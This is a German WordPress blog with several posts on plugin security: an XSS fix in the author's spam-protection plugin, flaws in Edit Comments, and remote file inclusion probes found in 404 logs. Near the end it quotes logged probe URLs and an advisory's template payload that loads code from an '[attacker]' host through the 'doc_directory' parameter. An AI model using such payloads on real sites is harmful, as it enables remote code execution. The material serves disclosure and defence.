Software Guide

Ein Blogger namens MustLive hat eine Sicherheitslücke im von mir geschriebenen WordPress-Plugin Math Comment Spam Protection entdeckt: XSS in Math Comment Spam Protection.

Leider hat es MustLive nicht für nötig empfunden, mich als Autor über seine Entdeckung zu informieren, so dass ich davon nichts mitbekommen habe. Glücklicherweise hat mich aber Robert Basic heute per E-Mail auf den Artikel aufmerksam gemacht.

Ich habe daraufhin nun die Sicherheitslücke geschlossen und die Version 2.2 veröffentlicht, die zum Download zur Verfügung steht.

Die Sicherheitslücke war in allen bisherigen Plugin-Versionen enthalten und es war zumindest theoretisch möglich, über die Plugin-Optionen für die Ausgabe der Fehlermeldungen bei Eingabe einer falschen Lösung einen schadhaften Code auszuführen. Grundsätzlich empfehle ich jedem, das Update durchzuführen. Ich werde dies auch zum Anlass nehmen, meine anderen Plugins die nächsten Tage auf Sicherheitslücken zu prüfen.

Vor 5 Tagen hatte Benjamin Flesch auf einige neue Sicherheitslücken in WordPress aufmerksam gemacht und daraufhin sogar einen gutartigen Wurm veröffentlicht, der die Probleme unter Ausnutzung der Sicherheitslücken selbst beheben soll. Allerdings enthielt dieser Wurm noch 2 Bugs, die gestern behoben wurden.

Weiterlesen…

Im Folgenden der nächste Beitrag der WordPress-Ticker-Reihe.

Weiterlesen…

Vor wenigen Tagen berichtete ich von Sicherheitslücken im WordPress-Plugin Edit Comments.

Alex schreibt dort im Kommentar:

Ich habe das Problem gefunden, als ich das Plugin für einen Kunden installierte und habe es dem Autor gemeldet, der daraufhin die Warnmeldung auf der Plugin-Seite einfügte. Allerdings habe ich ihm wenig später auch einen Fix geschickt, den er aber nicht eingebaut hat — vermutlich weil er keine Zeit zum Testen hat(te).

Alex bietet unter jal-edit-comments.phps eine modifizierte Version an, in der die Sicherheitslücken geschlossen sind und zudem ein paar Kleinigkeiten behoben wurden, die bei ihm Probleme verursachten. Zum Schluss schreibt er noch: Download auf eigene Gefahr und ohne Garantie! Im Zweifelsfall hilft diff.

Nachtrag:
Die Modifikation scheint jedoch nicht in WordPress 2.2 zu funktionieren, beim ersten Test erhalte ich die Fehlermeldung You aren’t allowed to edit this comment, either because you didn’t write it or you passed the 15 minute time limit. :(
Vielleicht findet sich ja noch ein Freiwilliger, in Jörn Kretzschmars Version, die auch unter WP2.2 funktioniert, die Sicherheitslücken ebenfalls zu schließen.

Das beliebte WordPress-Plugin Edit Comments, welches es jedem Besucher ermöglicht, die eigenen Kommentare nach dem Absenden noch nachträglich zu editieren, hat wohl Sicherheitslücken, ohne dass diese näher spezifiziert werden. Der Autor schrieb am 17. Mai:

Edit Comments has some very grave security and compatibility issues that have NOT been addressed.

Dies sollte man auf jeden Fall ernst nehmen und das Plugin sicherheitshalber deaktivieren.

Den „compatibility issues“ hatte sich Jörn Kretzschmar schon im Februar 2007 angenommen und eine für WP 2.1 kompatible Version veröffentlicht (die übrigens auch in WP 2.2 läuft).
Allerdings ist wohl davon auszugehen, dass auch Jörns Version die vom Autor erwähnten Sicherheitslücken enthält.

Zudem schreibt der Autor, dass er das Plugin aus Zeitgründen nicht mehr weiterentwickelt und er einen Nachfolger sucht (kommt mir irgendwie bekannt vor ;)

Abhilfe verspricht Ajax Edit Comments (deutschsprachige Version gibt es von David, sein Blog ist lt. Blogwartung allerdings derzeit down). Allerdings ist ein Problem bei Ajax Edit Comments, dass es nicht bei jedem Theme funktioniert und sich der Edit-Bereich nicht individuell platzieren lässt.

(Danke vienna22 für den Hinweis)

Erst kürzlich habe ich das WordPress-Plugin Log 404 installiert. Dieses Plugin zeichnet die 100 letzten 404-Fehler („Webseite nicht gefunden“) auf und ist damit eine prima Admin-Unterstützung, um tote Links aufzuspüren, die man ggf. umbiegen sollte, weil regelmäßig darauf zugegriffen wird.

Ich habe das Plugin ein paar Tagen im Einsatz und stelle nun immer wieder Massen-Zugriffe auf folgenden Pfad fest:

sw-guide.de/wordpress/lib_comment/comment.php?doc_directory=
hxxp://artelj.com/c.ar?
sw-guide.de/wordpress/lib_comment/comment.php?doc_directory=
hxxp://empzone.com/c.ar??

Bei Software Guide gibt es weder den Verzeichnispfad /wordpress/lib_comment/ noch gibt es dort diese comment.php. Googlen nach lib_comment/comment.php?doc_directory bringt aber einschlägige Ergebnisse zu Tage:

OpenDock Full Core contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to sw/lib_comment/comment.php not properly sanitizing user input supplied to the ‚doc_directory‘ variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.
(…)
Solution:
Currently, there are no known upgrades, patches, or workarounds available to correct this issue.
(…)
http://[target]/[OpenDockFullCore_Path]/sw/lib_comment/comment.php?doc_directory=
http://[attacker]/inject.txt?

Was bedeutet das jetzt?
Weiterlesen…